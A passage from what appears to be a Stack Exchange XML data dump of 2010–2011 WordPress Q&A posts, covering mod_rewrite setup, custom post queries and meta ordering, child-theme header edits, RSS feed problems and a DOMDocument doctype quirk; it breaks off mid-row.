  <row Id="13122" PostTypeId="2" ParentId="13113" CreationDate="2011-03-26T07:51:34.887" Score="0" ViewCount="" Body="&lt;p&gt;Are you using apache2 webserver?&#xA;Is the module, mod_rewrite enabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not apache, rewrites will never work like this, this is webserver specific code.&#xA;If only the module, you're missing, turn it on, if you tell me your platform type (windows/xp, linux/centos, etc.) and if windows, your program name, I'll look up, how to enable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in ubuntu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo a2enmod rewrite;&#xA;sudo /etc/init.d/apache2 restart;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With WAMP: select the wamp icon in the taskbar, right click, and find the mod_rewrite, and enable it with left click.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-03-26T07:51:34.887" />
  <row Id="13123" PostTypeId="2" ParentId="13117" CreationDate="2011-03-26T08:23:20.023" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function title_tag () {&#xA;&#xA;    // 0. uppercase string&#xA;    $str = strtoupper ( $_SERVER['REQUEST_URI'] );&#xA;&#xA;    // 1. remove trailing and init slash&#xA;    $str = trim ( $str , '/' );&#xA;&#xA;    // 2. add search and replace chars; &#xA;    // two array, with same element size, &#xA;    // 1. element of search array will be replaced&#xA;    // with the first element of replace array&#xA;    $search = array (&#xA;        '-',&#xA;        '/'&#xA;    );&#xA;&#xA;    $replace = array (&#xA;        ' ',&#xA;        ' - '&#xA;    );&#xA;&#xA;    // 3. replace the chars&#xA;    $str = str_replace( $search , $replace , $str );&#xA;&#xA;    // 4. replace the last occurance of - for ,&#xA;    // $pos finds the position of the last occurance&#xA;    // and fortunately, PHP strings can be manipulated &#xA;    // as arrays, so replace the array element with the&#xA;    // character&#xA;    $pos = strrpos ( $str , '-' );&#xA;    $str{$pos} = ',';&#xA;&#xA;    // you're ready&#xA;    return $str;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4209" LastEditorUserId="4209" LastEditorDisplayName="" LastEditDate="2011-03-26T08:47:37.740" LastActivityDate="2011-03-26T08:47:37.740" CommentCount="2" />
  <row Id="13124" PostTypeId="2" ParentId="13074" CreationDate="2011-03-26T08:41:54.827" Score="2" ViewCount="" Body="&lt;p&gt;I'll presume you are using something like this...to get the custom value you want. Once you are inside the loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$customfieldvalue = get_post_meta($post-&amp;gt;ID, &quot;metakeyname&quot;, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you are using $model as the base for a query. You could create a function That will query what you want, and then reset the current query. You could use it wherever you want. Here is a template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function modelquery($model) {&#xA;    global $wp_query, $post, $paged, $post_count;&#xA;&#xA;        // YOUR QUERY&#xA;        $query_args = array (&#xA;            'numberposts' =&amp;gt; 5, &#xA;            'post_type' =&amp;gt; 'documents', &#xA;            'category_name' =&amp;gt; $model&#xA;        );    &#xA;&#xA;        // SAVE CURRENT QUERY&#xA;        $temp = $wp_query;&#xA;        $wp_query= null;    &#xA;&#xA;        // CREATE NEW QUERY&#xA;        $wp_query = new WP_Query();&#xA;        $wp_query-&amp;gt;query($query_args);      &#xA;&#xA;        // THE LOOP, DO WHAT YOU HAVE TO DO HERE&#xA;        while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post();    &#xA;            $customfieldvalue = get_post_meta($post-&amp;gt;ID, &quot;metakeyname&quot;, true);&#xA;            echo $customfieldvalue;&#xA;        endwhile;   &#xA;&#xA;        // SWAP BACK THE PREVIOUS QUERY&#xA;        $wp_query = null; &#xA;        $wp_query = $temp;&#xA;        wp_reset_query();       &#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-03-26T08:41:54.827" CommentCount="1" />
  <row Id="13126" PostTypeId="1" CreationDate="2010-03-11T19:14:04.333" Score="1" ViewCount="152" Body="&lt;p&gt;I have posts that use a custom field for start date and end date.&#xA;Query_posts returns an array of posts that exist in the category I'm filtering.&#xA;How do I query posts using this custom field that has date i.e. 03/11/2010 and not the full array. Pagination works on the full array so it returns all posts. I can use an if else to only show the posts newer that today, then pagination doesn't work.&#xA;Would I have to build a custom mysql query?&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-04-02T08:09:53.513" LastActivityDate="2011-04-02T08:09:53.513" Title="Wordpress Custom Query" Tags="&lt;query-posts&gt;&lt;mysql&gt;" AnswerCount="2" />
  <row Id="13127" PostTypeId="2" ParentId="13126" CreationDate="2010-03-11T20:41:40.553" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA; $querystr = &quot;&#xA;    SELECT wposts.* &#xA;    FROM $wpdb-&amp;gt;posts wposts, $wpdb-&amp;gt;postmeta wpostmeta&#xA;    WHERE wposts.ID = wpostmeta.post_id &#xA;    AND wpostmeta.meta_key = 'date_field' &#xA;    AND wpostmeta.meta_value = '03/11/2010' &#xA;    AND wposts.post_status = 'publish' &#xA;    AND wposts.post_type = 'post' &#xA;    ORDER BY wposts.post_date DESC&#xA; &quot;;&#xA;&#xA; $pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Then you would access $pageposts as an object&lt;/strong&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-03-11T20:41:40.553" CommentCount="3" />
  <row Id="13128" PostTypeId="2" ParentId="13126" CreationDate="2010-03-11T22:05:26.477" Score="1" ViewCount="" Body="&lt;p&gt;You can create custom query using following filters &lt;code&gt;query_vars&lt;/code&gt;, &lt;code&gt;posts_join&lt;/code&gt;, &lt;code&gt;posts_where&lt;/code&gt;, &lt;code&gt;posts_groupby&lt;/code&gt;.&#xA;here's the codex link to &lt;a href=&quot;http://codex.wordpress.org/Custom_Queries&quot; rel=&quot;nofollow&quot;&gt;custom queries&lt;/a&gt;.&#xA;Some examples are listed there for help.&lt;/p&gt;&#xA;" OwnerUserId="762" LastActivityDate="2010-03-11T22:05:26.477" />
  <row Id="13129" PostTypeId="1" CreationDate="2011-03-26T09:29:00.797" Score="0" ViewCount="440" Body="&lt;p&gt;I am trying to get all products from the wpsc-product post type and then display them by a custom meta field called release_date_year. However, it doesn't appear to be ordering my posts by this custom meta value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read through countless blog posts, support posts on the Wordpress forums and a lot of questions and answers here on Wordpress Answers. However, I could not find a solution to my issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that I am using to get the products and then order them by a custom meta field. Ignore the each_connected argument as that is for the plugin Posts to Posts by Scribu. A quick note: I have also tried remove the each_connected part to see if it fixed the issue, but as I suspected, it didn't change a thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears as though the below code gets the products okay, that's not the issue. The issue seems to be that they are being ordered by the date they were published and not the custom meta field value which is a numeric value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $products = new WP_Query(array(&#xA;        'post_type'         =&amp;gt; 'wpsc-product',&#xA;        'nopaging'          =&amp;gt; true,&#xA;        'meta_key' =&amp;gt; 'release_date_year',&#xA;        'each_connected' =&amp;gt; array(&#xA;            'post_type' =&amp;gt; 'artists',&#xA;            'nopaging'  =&amp;gt; true,&#xA;        ),&#xA;        'suppress_filters' =&amp;gt; false,&#xA;        'orderby' =&amp;gt; 'meta_value_num',&#xA;        'order' =&amp;gt; 'asc',&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then looked at what queries were being run and the following is the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT   wp_posts.* FROM wp_posts  INNER JOIN wp_postmeta ON (wp_posts.ID = wp_postmeta.post_id) WHERE 1=1  AND wp_posts.post_type = 'wpsc-product' AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'private') AND wp_postmeta.meta_key = 'release_date_year' GROUP BY wp_posts.ID ORDER BY wp_posts.menu_order, wp_posts.post_date DESC           &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now is it just me or should the 'ORDER BY' part of my query have wp_postmeta.meta_key in it? Because it looks to me it's ordering by the menu order and then the post date descending. The other weird thing is that I am also seeing posts ordered descending instead of ascending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I said, I also tried using meta_query in my WP_Query query as I am using Wordpress 3.1 using the following code and it was still ordering posts by post_date:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$products = new WP_Query(array(&#xA;    'post_type'         =&amp;gt; 'wpsc-product',&#xA;    'nopaging'          =&amp;gt; true,&#xA;    'meta_key' =&amp;gt; 'release_date_year',&#xA;    'meta_query' =&amp;gt; array(array(&#xA;        'key'  =&amp;gt; 'release_date_year',&#xA;        'type' =&amp;gt; 'NUMERIC'&#xA;    )),&#xA;    'each_connected' =&amp;gt; array(&#xA;        'post_type' =&amp;gt; 'artists',&#xA;        'nopaging'  =&amp;gt; true,&#xA;    ),&#xA;    'suppress_filters' =&amp;gt; false,&#xA;    'orderby' =&amp;gt; 'meta_value',&#xA;    'order' =&amp;gt; 'desc',&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have I incorrectly formatted my WP_Query statement or is something else at play here? I have also confirmed there is data in the wp_postmeta table and there are values for each product there.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update and Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some messing around, I found the culprit. A plugin called 'Post Types Order' which was modifying my Wordpress queries and hence causing the suppress_filters argument to be completely ignored, amongst other things like orderby.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See my answer below.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastEditorUserId="1687" LastEditorDisplayName="" LastEditDate="2011-03-27T06:22:24.467" LastActivityDate="2011-03-27T06:26:31.063" Title="Wordpress Orderby Numeric Value Not Working" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;wp-query&gt;&lt;query&gt;&lt;post-meta&gt;" AnswerCount="2" />
  <row Id="13130" PostTypeId="1" AcceptedAnswerId="13145" CreationDate="2011-03-26T09:30:52.120" Score="0" ViewCount="169" Body="&lt;p&gt;Ok ,i am not a great fan of the menu of WP, but now it manage this inside pretty ok, i have to make theme that use that menu. Now for styling i am a bit challenge...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the problem... the menu should look like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;| page1 | page2 | page 3 |&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you see the problem, the border, let say each &lt;li&gt; will be style with border right 1px that work but first item will need a special class for border left&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question. How do i know that it's first or last item in the menu to style it properly... or what is your way to style that type of menu...&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-03-26T14:09:49.917" Title="New wp menu menu styling" Tags="&lt;css&gt;&lt;menus&gt;&lt;styles&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13132" PostTypeId="2" ParentId="13100" CreationDate="2011-03-26T10:50:14.627" Score="1" ViewCount="" Body="&lt;p&gt;Plugins caching DB queries hook into the WordPress API. If you don’t use the API your queries aren’t cached. The result is a slower site.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-26T10:50:14.627" />
  <row Id="13133" PostTypeId="1" AcceptedAnswerId="13134" CreationDate="2011-03-26T10:56:52.623" Score="0" ViewCount="364" Body="&lt;p&gt;I am currently building a site using a child theme for the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have a flash banner the client has already had made, and want to replace the twentyten image banner with the flash. I know how to do this by editing the header.php (I think!) but was wondering if there was a better way to do it - using function.php in my child theme perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice if the client could update the theme themselves and not worry about the header being changed back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any contributions.&lt;/p&gt;&#xA;" OwnerUserId="4233" LastActivityDate="2011-03-26T11:57:47.963" Title="How to replace the twentyten image header with my flash banner?" Tags="&lt;theme-twenty-ten&gt;&lt;child-theme&gt;&lt;flash&gt;" AnswerCount="1" />
  <row Id="13134" PostTypeId="2" ParentId="13133" CreationDate="2011-03-26T11:39:01.547" Score="0" ViewCount="" Body="&lt;p&gt;A child theme is definitely the way to go for the reason you outlined: upgradability. To start with, here is the documentation for creating child themes: &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Child_Themes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to create the child theme directory and edit the &lt;code&gt;style.css&lt;/code&gt; file as described in the Child Theme documentation link above. After that, simply copy the &lt;code&gt;header.php&lt;/code&gt; file from the &lt;code&gt;twentyten&lt;/code&gt; directory into the directory and modify it to include the Flash element you have. By copying the &lt;code&gt;header.php&lt;/code&gt; to a child theme, it will override the parent theme's version and be preserved after an update to the parent theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the block you want to edit, as it creates the header image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Check if this is a post or page, if it has a thumbnail, and if it's a big one&#xA;if ( is_singular() &amp;amp;&amp;amp; current_theme_supports( 'post-thumbnails' ) &amp;amp;&amp;amp;&#xA;        has_post_thumbnail( $post-&amp;gt;ID ) &amp;amp;&amp;amp;&#xA;        ( /* $src, $width, $height */ $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), 'post-thumbnail' ) ) &amp;amp;&amp;amp;&#xA;        $image[1] &amp;gt;= HEADER_IMAGE_WIDTH ) :&#xA;    // Houston, we have a new header image!&#xA;    echo get_the_post_thumbnail( $post-&amp;gt;ID );&#xA;elseif ( get_header_image() ) : ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php header_image(); ?&amp;gt;&quot; width=&quot;&amp;lt;?php echo HEADER_IMAGE_WIDTH; ?&amp;gt;&quot; height=&quot;&amp;lt;?php echo HEADER_IMAGE_HEIGHT; ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would just delete that entire PHP block, and replace it with the &lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt; code for your flash element. You'll want to make sure the flash element is exactly 940 pixels across, though, or it might look strange/break the design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The header image PHP block is located on line 68 of my &lt;code&gt;header.php&lt;/code&gt; (in the WordPress 3.1 twentyten theme), and it's located directly below the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;site-description&quot;&amp;gt;&amp;lt;?php bloginfo( 'description' ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this isn't foolproof. If the twentyten theme gets updated in the future and contains changes you would like to have in the child theme they won't appear here. However, to add a hook which replaces the image header with a Flash one would require modifying the base theme's header.php... a bit of a catch 22. In practice this shouldn't be much of an issue, though. It's also the best way in WordPress to handle this sort of thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, &lt;a href=&quot;http://core.trac.wordpress.org/log/trunk/wp-content/themes/twentyten/header.php&quot; rel=&quot;nofollow&quot;&gt;here are the changes to the file on its Trac page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2984" LastEditorUserId="2984" LastEditorDisplayName="" LastEditDate="2011-03-26T11:57:47.963" LastActivityDate="2011-03-26T11:57:47.963" CommentCount="1" />
  <row Id="13135" PostTypeId="1" AcceptedAnswerId="13191" CreationDate="2011-03-26T11:58:46.047" Score="0" ViewCount="90" Body="&lt;p&gt;When i try to access feeds for tags,categories and authors, i get empty list. If i try to open feeds for the site, i get &quot;Page not found&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Empty Feed:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://thinkzarahatke.com/category/advertisement/video/feed&quot; rel=&quot;nofollow&quot;&gt;http://thinkzarahatke.com/category/advertisement/video/feed&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://thinkzarahatke.com/author/amty/feed&quot; rel=&quot;nofollow&quot;&gt;http://thinkzarahatke.com/author/amty/feed&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Page not Found :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://thinkzarahatke.com/feed&quot; rel=&quot;nofollow&quot;&gt;http://thinkzarahatke.com/feed&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had tried fix rss feed plugin. But it dint solved my problem too. Please help.&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2011-04-26T08:41:37.510" Title="Empty RSS Feeds" Tags="&lt;rss&gt;&lt;feed&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="13136" PostTypeId="1" AcceptedAnswerId="13151" CreationDate="2011-03-26T12:13:17.503" Score="0" ViewCount="125" Body="&lt;p&gt;hey,&#xA;i have the following page template for a sitemap.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Sitemap&#xA; */&#xA;?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Pages&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;?php wp_list_pages('title_li=&amp;amp;depth=0&amp;amp;exclude='); ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Posts&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;?php $first = 0;?&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php&#xA;            $myposts = get_posts('numberposts=-1&amp;amp;offset=$first');&#xA;            foreach($myposts as $post) :&#xA;            ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;#b&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Categories&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;?php wp_list_categories('title_li=&amp;amp;orderby=name'); ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Tags&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;ul&amp;gt;    &#xA;                &amp;lt;?php&#xA;                $tags = get_tags();&#xA;                foreach ($tags as $tag){&#xA;                    $tag_link = get_tag_link($tag-&amp;gt;term_id);&#xA;                    $html .= &quot;&amp;lt;li&amp;gt;&amp;lt;a href='{$tag_link}#b' title='{$tag-&amp;gt;name} Tag' class='{$tag-&amp;gt;slug}'&amp;gt;&quot;;&#xA;                    $html .= &quot;{$tag-&amp;gt;name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;                }&#xA;                echo $html;&#xA;                ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's my intention to not define a header with  or  or anything like that, because this thing is only used to get loaded via an ajax call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the output of this thing looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt; &#xA;    &amp;lt;h3&amp;gt;Pages&amp;lt;/h3&amp;gt; &#xA;    &amp;lt;ul&amp;gt; &#xA;        &amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD HTML 4.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/REC-html40/loose.dtd&quot;&amp;gt; &#xA;        &amp;lt;html&amp;gt;&amp;lt;body&amp;gt; &#xA;            &amp;lt;li class=&quot;page_item page-item-87&quot;&amp;gt;&amp;lt;a href=&quot;http://domain.com/account#b&quot; title=&quot;Account&quot;&amp;gt;Account&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;            &amp;lt;li class=&quot;page_item page-item-67&quot;&amp;gt;&amp;lt;a href=&quot;http://domain.com/forum-3#b&quot; title=&quot;Forum&quot;&amp;gt;Forum&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;            &amp;lt;li class=&quot;page_item page-item-107&quot;&amp;gt;&amp;lt;a href=&quot;http://domain.com/map#b&quot; title=&quot;Google Map&quot;&amp;gt;Google Map&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;            &amp;lt;li class=&quot;page_item page-item-79&quot;&amp;gt;&amp;lt;a href=&quot;http://domain.com/contact#b&quot; title=&quot;ContaCt&quot;&amp;gt;Contact&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;            &amp;lt;li class=&quot;page_item page-item-92&quot;&amp;gt;&amp;lt;a href=&quot;http://domain.com/login#b&quot; title=&quot;Login&quot;&amp;gt;Login&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;            &amp;lt;li class=&quot;page_item page-item-93&quot;&amp;gt;&amp;lt;a href=&quot;http://domain.com/register#b&quot; title=&quot;Register&quot;&amp;gt;Register&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;        &amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt; &#xA;    &amp;lt;/ul&amp;gt; &#xA;    &amp;lt;h3&amp;gt;Posts&amp;lt;/h3&amp;gt; &#xA;    &amp;lt;ul&amp;gt; &#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://domain.com/test-post#b&quot;&amp;gt;Test post&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://domain.com/lorem-ipsum-test-page#b&quot;&amp;gt;Lorem Ipsum Test Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://domain.com/hello-world#b&quot;&amp;gt;Hello&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;    &amp;lt;/ul&amp;gt; &#xA;    &amp;lt;h3&amp;gt;Categories&amp;lt;/h3&amp;gt; &#xA;    &amp;lt;ul&amp;gt; &#xA;        &amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD HTML 4.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/REC-html40/loose.dtd&quot;&amp;gt; &#xA;        &amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;li class=&quot;cat-item cat-item-1&quot;&amp;gt; &#xA;            &amp;lt;a href=&quot;http://domain.com/category/something#b&quot; title=&quot;Show all posts&quot;&amp;gt;Something&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/li&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt; &#xA;    &amp;lt;/ul&amp;gt; &#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why there is a weird doctype declaration and a &lt;code&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&lt;/code&gt; inserted inside of every &lt;code&gt;ul&lt;/code&gt;. Except for the Posts &lt;code&gt;ul&lt;/code&gt;. Just weird. Why could that happen and what causes this? I actually use a html5 doctype on my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_list_pages', 'add_hash'); /*Add #hash to wp_list_pages() function*/&#xA;add_filter('wp_list_categories', 'add_hash'); /*Add #hash to wp_list_categories() function*/&#xA;function add_hash($output) {&#xA;&#xA;        $dom = new DOMDocument();&#xA;        $dom-&amp;gt;loadHTML($output);&#xA;&#xA;        $a_tags = $dom-&amp;gt;getElementsByTagName('a');&#xA;&#xA;        foreach($a_tags as $a)&#xA;        {&#xA;            $value = $a-&amp;gt;getAttribute('href');&#xA;            $a-&amp;gt;setAttribute('href', $value . '#b');&#xA;        }&#xA;&#xA;        return $dom-&amp;gt;saveHTML();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The new DOMDocument is adding this doctype declaration and the  and &lt;/p&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="3529" LastEditorDisplayName="" LastEditDate="2011-03-26T17:52:39.320" LastActivityDate="2011-03-26T18:50:48.627" Title="page template - undefined structure in source code" Tags="&lt;page&gt;&lt;page-template&gt;&lt;debug&gt;" AnswerCount="3" CommentCount="5" />
  <row Id="13137" PostTypeId="1" AcceptedAnswerId="13201" CreationDate="2011-03-26T12:45:24.260" Score="1" ViewCount="171" Body="&lt;p&gt;I want to load some of the pages(not wordpress page, a template file other than wordpress's default template file) according to the url came on the address bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for instance, I have page in my template file ie my_account.php to show my profile pic and other informations from to my wordpress pofile. and it is placed in my defaut theme folder&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/themes/mytheme/my_account.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the url is &lt;code&gt;http://mysite/MyAccount/&lt;/code&gt; then I need to load the above page. &#xA;Something like if &lt;code&gt;http://mysite/register/&lt;/code&gt; then load the register.php from my theme folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using custome permalinks option. &lt;code&gt;http://mysite/hello_world_post/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So How can I configure and load the template  according to the url, how to controll this by using a plugin.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2011-03-27T16:08:45.603" Title="How to load a new template page according to a particular URL?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;3.0&gt;&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="13138" PostTypeId="2" ParentId="13137" CreationDate="2011-03-26T12:49:23.633" Score="1" ViewCount="" Body="&lt;p&gt;See this: &lt;a href=&quot;http://codex.wordpress.org/Pages#Templates_by_page-ID_or_page-Slug&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages#Templates_by_page-ID_or_page-Slug&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest is by slug. For example if your &lt;a href=&quot;http://mysite/register/&quot; rel=&quot;nofollow&quot;&gt;http://mysite/register/&lt;/a&gt; slug is register then create a custom page template page-register.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I didn't know you can use _ for permalink? Plugin?&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-03-26T12:49:23.633" CommentCount="2" />
  <row Id="13139" PostTypeId="2" ParentId="13088" CreationDate="2011-03-26T13:33:55.233" Score="2" ViewCount="" Body="&lt;p&gt;Not sure I understand your question completely hakre but here is the code that shows the featured image for twenty-ten in header.php.The image sizing is defined in the functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also uses a function called &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_header_image&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_header_image&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;                    // Check if this is a post or page, if it has a thumbnail, and if it's a big one&#xA;                    if ( is_singular() &amp;amp;&amp;amp; current_theme_supports( 'post-thumbnails' ) &amp;amp;&amp;amp;&#xA;                            has_post_thumbnail( $post-&amp;gt;ID ) &amp;amp;&amp;amp;&#xA;                            ( /* $src, $width, $height */ $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), 'post-thumbnail' ) ) &amp;amp;&amp;amp;&#xA;                            $image[1] &amp;gt;= HEADER_IMAGE_WIDTH ) :&#xA;                        // Houston, we have a new header image!&#xA;                        echo get_the_post_thumbnail( $post-&amp;gt;ID );&#xA;                    elseif ( get_header_image() ) : ?&amp;gt;&#xA;                        &amp;lt;img src=&quot;&amp;lt;?php header_image(); ?&amp;gt;&quot; width=&quot;&amp;lt;?php echo HEADER_IMAGE_WIDTH; ?&amp;gt;&quot; height=&quot;&amp;lt;?php echo 